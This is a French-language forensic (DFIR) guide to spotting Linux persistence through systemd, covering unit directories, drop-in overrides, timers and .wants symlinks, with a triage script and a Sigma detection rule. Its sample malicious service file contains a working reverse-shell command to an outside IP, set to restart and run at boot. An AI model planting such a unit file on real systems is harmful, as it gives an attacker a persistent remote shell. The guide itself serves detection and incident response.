Analyse d'Artefact : Persistance Linux via Systemd et Services

Note

Résumé exécutif : systemd est le système d’initialisation et le gestionnaire de services par défaut de la quasi-totalité des distributions Linux modernes. Sa complexité et sa densité de fonctionnalités offrent aux acteurs de la menace un vaste terrain de jeu pour établir une persistance furtive et hautement résiliente. En manipulant les fichiers “Unit” (.service), en exploitant les “Timers” de systemd comme alternative moderne à Cron, ou en détournant des démons légitimes via des configurations “Drop-in”, les adversaires s’assurent que leurs charges utiles survivent aux redémarrages tout en échappant à la surveillance traditionnelle. Pour les analystes DFIR effectuant une analyse hors ligne (dead-disk), cartographier l’écosystème systemd est une étape obligatoire de l’investigation.

1. Emplacement des artefacts : la hiérarchie de la suspicion

Systemd charge ses configurations depuis de multiples répertoires, en appliquant un ordre de priorité strict. Lors d’une analyse hors ligne sur une image forensique montée (ex: /mnt/analyse/), les analystes doivent auditer ces chemins méthodiquement.

/etc/systemd/system/

Priorité haute (Zone rouge). Ce répertoire est réservé aux configurations de l’administrateur système. Les fichiers ici surchargent les valeurs par défaut. C’est l’endroit principal où les attaquants déposent leurs fichiers .service malveillants pour établir une persistance de niveau root.

/usr/lib/systemd/system/

Priorité basse (Défauts du système). C’est ici que les paquets installés placent leurs fichiers de service par défaut. Les attaquants avancés peuvent modifier un fichier légitime ici (ex: ssh.service) et utiliser le “Timestomping” pour se fondre dans la masse.

~/.config/systemd/user/

Persistance au niveau utilisateur. Systemd permet aux utilisateurs non privilégiés de gérer leurs propres services. Si un démon de serveur web (www-data) est compromis, les attaquants peuvent établir une persistance furtive ici sans avoir besoin des privilèges root.

2. Dissection d’un fichier de service malveillant

Un service systemd est défini par un fichier texte brut de style INI. L’analyse des directives de configuration révèle l’intention de l’attaquant et la mécanique d’exécution de la charge utile.

evil-network-manager.service

[Unit]
Description=High Performance Network Service  # Description trompeuse pour leurrer les admins juniors
After=network.target

[Service]
Type=simple
# LA CHARGE UTILE : génère un reverse shell interactif
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/198.51.100.45/4444 0>&1"
# PERSISTANCE AGRESSIVE : systemd redémarrera instantanément le malware si l'analyste tue le processus
Restart=always
RestartSec=60

[Install]
# DÉMARRAGE AUTOMATIQUE : garantit que le service est lancé lors de la séquence de boot
WantedBy=multi-user.target

Indicateurs forensiques clés :

• ExecStart : le chemin absolu vers le binaire ou le script exécuté. Recherchez des commandes pointant vers des répertoires de préparation (staging) comme /tmp/ ou /dev/shm/, des fichiers cachés (/usr/bin/.sys), ou des commandes shell offusquées.
• Restart=always : indique un malware hautement résilient conçu pour survivre à l’interruption de son processus.
• ExecStartPre / ExecStartPost : directives utilisées pour exécuter des commandes furtives immédiatement avant ou après le démarrage d’un service.

3. Techniques d’évasion avancées

Les acteurs de la menace s’adaptent continuellement pour contourner les scripts de triage basiques qui se contentent de chercher de nouveaux fichiers .service.

A. Le détournement “Drop-in” (Service Hooking)

Au lieu de créer un nouveau service ou de modifier un service légitime (ce qui brise les hashs des fichiers), systemd permet de surcharger des directives spécifiques en créant un répertoire .d.

• L’attaque : un adversaire crée /etc/systemd/system/ssh.service.d/override.conf. À l’intérieur, il ajoute une directive ExecStartPost=/tmp/backdoor.sh.
• Le résultat : le démon SSH légitime démarre normalement, mais systemd exécute silencieusement la porte dérobée de l’attaquant juste après. Le fichier original ssh.service reste intact.

B. Les Timers Systemd (Le nouveau Cron)

Les Timers systemd peuvent remplacer complètement les tâches cron héritées.

• L’attaque : un analyste passe en revue tous les services activés et ne trouve rien de malveillant. Cependant, un attaquant a créé un fichier backup.timer qui déclenche un fichier backup.service (la charge utile) inactif toutes les 15 minutes.
• Action DFIR : les analystes doivent expressément chasser les fichiers se terminant par .timer dans l’ensemble des répertoires systemd.

4. Traçage de l’activation des services (Liens symboliques)

Pour qu’un service systemd démarre automatiquement au boot, il doit être “activé” (via systemctl enable). Cette action crée un lien symbolique (symlink) à l’intérieur d’un répertoire .wants.

Pour identifier exactement ce qui est configuré pour s’exécuter au démarrage sur un disque inactif, les analystes doivent lister le contenu des répertoires cibles :

• /mnt/analyse/etc/systemd/system/multi-user.target.wants/
• /mnt/analyse/etc/systemd/system/graphical.target.wants/

Si un lien symbolique existe dans ces dossiers et pointe vers un fichier de service suspect (ex: S99evil.service -> /etc/systemd/system/evil.service), le mécanisme de persistance est pleinement armé.

5. Triage DFIR et requêtes de Threat Hunting

Bash (Triage hors ligne)

audit_systemd_offline.sh

#!/bin/bash
TARGET_DIR="/mnt/analyse"

echo "[+] Chasse aux unités Systemd récemment modifiées..."
find $TARGET_DIR/etc/systemd/system/ -type f -mtime -7 -ls

echo "[+] Chasse aux modifications Systemd Drop-in..."
find $TARGET_DIR/etc/systemd/system/ -type d -name "*.d" -exec ls -la {} +

echo "[+] Liste de tous les services à démarrage automatique (Activés via .wants)..."
ls -l $TARGET_DIR/etc/systemd/system/*.wants/

echo "[+] Chasse aux Timers Systemd..."
find $TARGET_DIR/etc/systemd/system/ -type f -name "*.timer"

Sigma (Chasse en direct)

sigma_systemd_persistence_creation.yaml

title: Création de Persistance via Service Systemd
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: stable
description: Détecte l'utilisation de systemctl pour activer un service, ou la création de fichiers unit systemd dans des emplacements suspects, indiquant une persistance potentielle.
logsource:
    category: process_creation
    product: linux
detection:
    selection_systemctl:
        Image|endswith: '/systemctl'
        CommandLine|contains|all:
            - 'enable'
    selection_suspicious_path:
        CommandLine|contains|any:
            - '/tmp/'
            - '/dev/shm/'
            - '/var/tmp/'
    condition: selection_systemctl or selection_suspicious_path
level: high
tags:
    - attack.persistence
    - attack.t1543.002

---

Références et lectures complémentaires

• MITRE ATT&CK : Create or Modify System Process: Systemd Service (T1543.002)
• SANS Institute : Advanced Incident Response and Threat Hunting
• Artefact lié : Persistance héritée Linux (init.d & rc.local)
• Artefact lié : Persistance Linux via Cron et tâches At